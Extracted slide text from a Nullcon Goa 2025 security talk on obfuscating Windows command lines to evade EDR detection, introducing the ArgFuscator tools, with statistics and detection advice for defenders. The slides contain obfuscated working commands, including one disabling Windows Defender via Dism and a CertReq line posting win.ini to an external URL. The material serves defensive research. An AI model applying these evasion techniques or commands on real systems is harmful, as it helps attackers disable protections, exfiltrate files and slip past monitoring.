
Will It Run?
Fooling EDRs with command lines

using empirical data
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Command-line obfuscation
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Malware-free Activity
According to CrowdStrike’s 2024 Global Threat Report

Changing landscape

Increased use of legitimate tools

Built-in scripting tools

LOLBAS

Legitimate 3rd party tools

Challenges

Blending in with normal use

Not setting off detections (?)

Source: https://www.crowdstrike.com/en-us/global-threat-report/

https://www.crowdstrike.com/en-us/global-threat-report/
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● String/list of strings provided to 

starting program

○ Typically used to alter flow 

without requiring interaction

● Every process has command-line 

arguments (even if not set/empty)

● Provides a valuable source of 

information for defenders

Command Lines

Nullcon Goa 2025 / @Wietze
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Command-Line Obfuscation
Nothing to see here

“Masquerade the true intention of the command you are trying to run”Command-Line Obfuscation 
is the masquerading of the 
true intention of a command
you are trying to run.
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Option Char Substitution
Command-Line Obfuscation variants
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U+002F Regular slash

U+002D Regular hyphen

U+2013 En dash

U+2014 Em dash

U+2015 Horizontal bar (or Quotation Dash)
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Source: 

https://www.elastic.co/guide/en/security/current/suspiciou

s-powershell-execution-via-windows-scripts.html Nullcon Goa 2025 / @Wietze

https://www.elastic.co/guide/en/security/current/suspicious-powershell-execution-via-windows-scripts.html
https://www.elastic.co/guide/en/security/current/suspicious-powershell-execution-via-windows-scripts.html
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Character Substitution
Command-Line Obfuscation variants
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Source: https://research.splunk.com/endpoint/6aa49ff2-

3c92-4586-83e0-d83eb693dfda/
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https://research.splunk.com/endpoint/6aa49ff2-3c92-4586-83e0-d83eb693dfda/
https://research.splunk.com/endpoint/6aa49ff2-3c92-4586-83e0-d83eb693dfda/
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Character Insertion
Command-Line Obfuscation variants
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Source: 

https://github.com/SigmaHQ/sigma/blob/fad4742996c55d

8d4663e611f84877a2b741dc46/rules/windows/process_c

reation/proc_creation_win_certutil_download.yml
Nullcon Goa 2025 / @Wietze

https://github.com/SigmaHQ/sigma/blob/fad4742996c55d8d4663e611f84877a2b741dc46/rules/windows/process_creation/proc_creation_win_certutil_download.yml
https://github.com/SigmaHQ/sigma/blob/fad4742996c55d8d4663e611f84877a2b741dc46/rules/windows/process_creation/proc_creation_win_certutil_download.yml
https://github.com/SigmaHQ/sigma/blob/fad4742996c55d8d4663e611f84877a2b741dc46/rules/windows/process_creation/proc_creation_win_certutil_download.yml
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Keyword Obstruction
Command-Line Obfuscation variants
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Source: https://www.logpoint.com/en/blog/shenanigans-of-

scheduled-tasks/
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https://www.logpoint.com/en/blog/shenanigans-of-scheduled-tasks/
https://www.logpoint.com/en/blog/shenanigans-of-scheduled-tasks/
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Cool, but… it’s all 
anecdotal
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Finding vulnerable applications
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Process

Select application

Blackbox testing 

of obfuscation 

options

Create model file Test model file

Abstraction
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Select an application
Step 1:

Nullcon Goa 2025 / @Wietze
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Blackbox test obfuscation options
Step 2:

Random case e.g. /foo⇔ /Foo

Option character substitution e.g. /foo⇔ -foo

Character substitution e.g. /foo⇔ /f𝒪o

Character insertion e.g. /foo⇔ /fo o

Quote insertion e.g. /foo⇔ /f"o"o

Shorthands e.g. /foo⇔ /fo ⇔ /f

Alternative URL notation e.g. https://⇔ https:\\

Alternative file path notation e.g. c:\foobar⇔ c:\x\..\foobar
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Blackbox test obfuscation options
Step 2:

https://github.com/wietze/window
s-command-line-obfuscation

analyse_obfuscation
Python library

https://github.com/wietze/windows-command-line-obfuscation
https://github.com/wietze/windows-command-line-obfuscation
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Create model file
Step 3:

Random case ✓, e.g. /all⇔ /aLl

Option character substitution ✓, e.g. /all⇔ -all

Character substitution ✓, e.g. /all⇔ /aᴸl (U+1D38)

Character insertion ✓, e.g. /all⇔ /a಄ll (U+0C84)

Quote insertion ✓, e.g. /all⇔ /"a"ll

Shorthands ✗

Alternative URL notation N/A

Alternative file path notation N/A
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Create model file
Step 3:

{
"command": [ {"command": "ipconfig"}, {"argument": "/all"} ],
"modifiers": {

"RandomCase": {
"AppliesTo": ["command", "argument"]

},
"OptionCharSubstitution": {

"AppliesTo": ["argument"],
"OptionChars": ["/",  "-"]

},
"CharacterSubstitution": {

"AppliesTo": ["argument"],
"Mapping": {

"l": ["\u029f", "\u02e1", "\u1d38", "\u1dab", "\u2097", "\uff2c", "\uff4c"],
...

}
},
"CharacterInsertion": {

"AppliesTo": ["argument"],
"Characters": ["\u034f", "\u0378",  ...]

},
"QuoteInsertion": {

"AppliesTo": ["argument"]
}

}
}
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Test Model File
Step 4:

Introducing Invoke-ArgFuscator:

● Enables obfuscating command-line arguments, “argfuscation”

● Takes model files and generates new command-line arguments following the 

given pattern

● For example:

> Invoke-ArgFuscator "ipconfig.json" 3

< iPcoNfiG -Al⯺⯺ ⯺ ꙺl⯺⯺
 <ipCoNFiG -ᵃL⯺⯺⯺⯺L
< IpCoNFig /"Aˡ⯺⯺ L"

░█░█▄░█░█▒█░▄▀▄░█▄▀▒██▀░▒░░▄▀▄▒█▀▄░▄▀▒▒█▀░█▒█░▄▀▀░▄▀▀▒▄▀▄░▀█▀░▄▀▄▒█▀▄░
░█░█▒▀█░▀▄▀░▀▄▀░█▒█░█▄▄░▀▀░█▀█░█▀▄░▀▄█░█▀░▀▄█▒▄██░▀▄▄░█▀█░▒█▒░▀▄▀░█▀▄░
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Will It Run?
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Test Model File
Step 4:

https://github.com/wietze/Invoke
-Argfuscator

Invoke-ArgFuscator
PowerShell module

https://github.com/wietze/Invoke-Argfuscator
https://github.com/wietze/Invoke-Argfuscator
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Process

Select application

Blackbox testing 

of obfuscation 

options

Create model file Test model file

Abstraction
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Research results

addinutil.exe
adfind.exe
arp.exe
aspnet_compiler.exe

at.exe
auditpol.exe
bcdedit.exe
bitsadmin.exe
cacls.exe
certreq.exe
certutil.exe
cipher.exe
cmdkey.exe
cmstp.exe
csc.exe

cscript.exe
curl.exe
dism.exe
driverquery.exe
expand.exe
extrac32.exe
findstr.exe
fltmc.exe
forfiles.exe
fsutil.exe
ftp.exe
icacls.exe
ipconfig.exe
jsc.exe
makecab.exe

msbuild.exe
msiexec.exe
nbtstat.exe
net.exe 
(and net1.exe)

netsh.exe
netstat.exe
nltest.exe
nslookup.exe
ping.exe
pnputil.exe
powershell.exe 
(and pwsh.exe)

procdump.exe
psexec.exe

query.exe
reg.exe
regedit.exe
regsvr32.exe
robocopy.exe
route.exe
rpcping.exe
runas.exe
sc.exe
schtasks.exe
secedit.exe
takeown.exe
tar.exe
taskkill.exe
tasklist.exe

vaultcmd.exe
vbc.exe
w32tm.exe
wevtutil.exe
where.exe
whoami.exe
winget.exe
wmic.exe
wscript.exe
xcopy.exe

68 executables sampled against Windows 11 23H2
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Introducing ArgFuscator.net
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ArgFuscator
An open-source project

documenting and generating

command-line obfuscation opportunities

https://argfuscator.net

ArgFuscator.net
Platform

• Developed in 

TypeScript

• Hosted on GitHub

• 68 EXEs supported 

out of the box

• Fully configurable

• Create your own!

https:///


‹#›Nullcon Goa 2025 / @Wietze  
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Will It Run?
Spoiler alert: YES

robocopy c:\windows\temp\test1 c:\windows\temp\test2 /copy:DATS /s /ndl /v /quit
rOBOCOPY c:\Up"DA"T"E\..\\wI"ND"O"Ws"/"//"t"EMp"/.\T"E"ST"1 
C:\W"i"n"S"X"s"/../"/"w"in"DO"W"S"/"/"W"I"NS"X"s\\\../"T"E"mP"/"/"u"P"d"A"t"e"/../"/"tE"sT2 
/"ᶜ"ᵒ"P"ʸ:D"ᵃᵗ"ˢ /"ˢ" -"nD"ˡ -"ᵛ" /"Q"U"iᵗ“

adfind -subnet -f "(objectCategory=subnet)"
ADfIND -"śũｂｎ＂ęŤ ―ｆ "(object"C"a"te"g"o"r"y=s"u"bn"et)"

Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
dIsM -️O޳޳n޳l"i޳ne޳⯺޳"޳ /"d ؝"ࢲ޳ࢥ - Re޳U޳޳޳﮹t޳a⯺޳⯺⮍E޳޳F⯺޳-"޳޳޳le޳޳a"bꬱ޳޳"s޳޳᳹"޳i޳
F޳"E޳⮋޳⯺Ꞵ"A޳޳ oR⭡eS޳n"޳/ Ԩ⯺"޳޳E޳MOV"޳ENAM⯺꣧e:w"INDOwS-"DE"FEN"D"Er" /RE޳TU"r޳޳޳⮣޳⯺"ࣳ ޳ࣣ"  a"RT"޳T޳
޳"޳Et޳"I޳޳"⯺޳⯺U"޳Q޳/

CertReq -Post -config https://example.org/some/endpoint c:\windows\win.ini output.txt
CertReq –pOԮˢ޳޳t -ᶜ ޳޳޳޳ ꙷᵒN޳޳f꭛Iᵍ 
ht"t"p"s://"e"x"a"mpl"e.or"g"/u"pd"a"te"/../d"e"bug"/../som"e/"e"nd"p"o"i"nt 
C:\sY"STeM"32\\..\W"I"nd"Ow"S"/"//W"In.In"I oU"t"P"Ut.TX"t

nslookup -type=txt -timeout=10 nullcon.net
nsloOKUp −typㅃ޳㫼忳Ά̮e눪湍=TxT ‒t"i"m㓸낳e䈡휲깵⺑惒擔o⛆矷u爏굕㿁듰棇닽ᅳ ࣘ=1"0 " n"u""ll"c"o"n."ne"t

reg export HKLM\SomeReg c:\windows\temp\somefile.txt
reG eˣ⯺൛⯺޳ᵖᵒࣜ鿦R޳Tԯ HKLM\SomeReg 
c:\u"pD"A"Te\\.././"wIND"O"W"S\\T"E"m"p"/"SY"S"Te"m"32/../"//Sy"STE"m32"/..\SOM"EFi"l"e.T"XT
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Defenders
Impact

When writing detection content, check 

your logic against ArgFuscator:

• Dedicated pages setting out what 

obfuscation types an executable is 

susceptible to

• Test command lines with

ArgFuscator.net

• Automate testing with 

Invoke-ArgFuscator

Nullcon Goa 2025 / @Wietze
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Statistics
Sample of 68 Windows executables

72%
Option Char 

Substitution

26%
General Char 

Substitution

24%
General Char Insertion

6%
Shorthands

95%
At least 2 types of 

obfuscation*

93%
Quote Insertion
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Defenders
Impact

Many (system-native) executables 

are affected

Detecting command-️line obfuscation 

doesn’t have to be difficult:

• High number of quotes, quotes in 

strange places

• Non-️ASCII characters

• Uppercase/lowercase ratio

• Long command lines

• …
Nullcon Goa 2025 / @Wietze
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What does the future hold?
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Going forward

This problem will not go away anytime soon
Although a minor shift in the right direction is visible

Don’t rely on command-line arguments
Use system-️native events where you can!

MacOS and Linux obfuscation support coming
Not as wild as Windows, but both have their own quirks
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Call for action

Stay involved
Follow the project on GitHub, bookmark the links

Defenders: check your detection logic
Use ArgFuscator and Invoke-ArgFuscator

Contribute!
Help add new entries, and fix bugs ArgFuscator.net



Thank you
𝕏 @wietze

@wietzebeukema.nl

@wietze@infosec.exchange

/in/wjbbeukema ArgFuscator.net
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